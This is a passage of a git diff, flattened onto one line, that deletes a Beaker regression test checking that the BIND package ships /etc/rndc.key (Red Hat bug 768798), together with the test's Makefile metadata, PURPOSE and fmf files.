*~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Juraj Marko " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for BZ#768798 (Bind does not provide /etc/rndc.key)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 768798" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/PURPOSE b/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/PURPOSE deleted file mode 100644 index a036279..0000000 --- a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/PURPOSE +++ /dev/null @@ -1,5 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -Description: Test for BZ#768798 (Bind does not provide /etc/rndc.key) -Author: Juraj Marko -Bug summary: Bind does not provide /etc/rndc.key -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=768798 diff --git a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/main.fmf b/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/main.fmf deleted file mode 100644 index 4506408..0000000 --- a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/main.fmf +++ /dev/null @@ -1,23 +0,0 @@ -summary: Test for BZ#768798 (Bind does not provide /etc/rndc.key) -description: | - Bug summary: Bind does not provide /etc/rndc.key - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=768798 -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -duration: 5m -enabled: true -tag: -- TIPfail_infra -- TIPpass -- TIPpass_FIPS -- Tier1 -- TipWaived5 -- tip_destructive_el8 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -extra-task: /CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -extra-nitrate: TC#0167364 diff --git a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/runtest.sh b/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/runtest.sh deleted file mode 100755 index 74c5c6a..0000000 --- a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/runtest.sh +++ /dev/null @@ -1,51 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -# Description: Test for BZ#768798 (Bind does not provide /etc/rndc.key) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2012 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include Beaker environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -rpm -q bind97 && PACKAGE="bind97" || PACKAGE="bind" - -rlJournalStart - rlPhaseStartSetup - rlAssertRpm $PACKAGE - rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory" - rlRun "pushd $TmpDir" - rlPhaseEnd - - rlPhaseStartTest - rlRun "rpm -ql $PACKAGE | grep /etc/rndc.key" 0 "$PACKAGE provide /etc/rndc.key" - rlPhaseEnd - - rlPhaseStartCleanup - rlRun "popd" - rlRun "rm -r $TmpDir" 0 "Removing tmp directory" - rlPhaseEnd -rlJournalPrintText -rlJournalEnd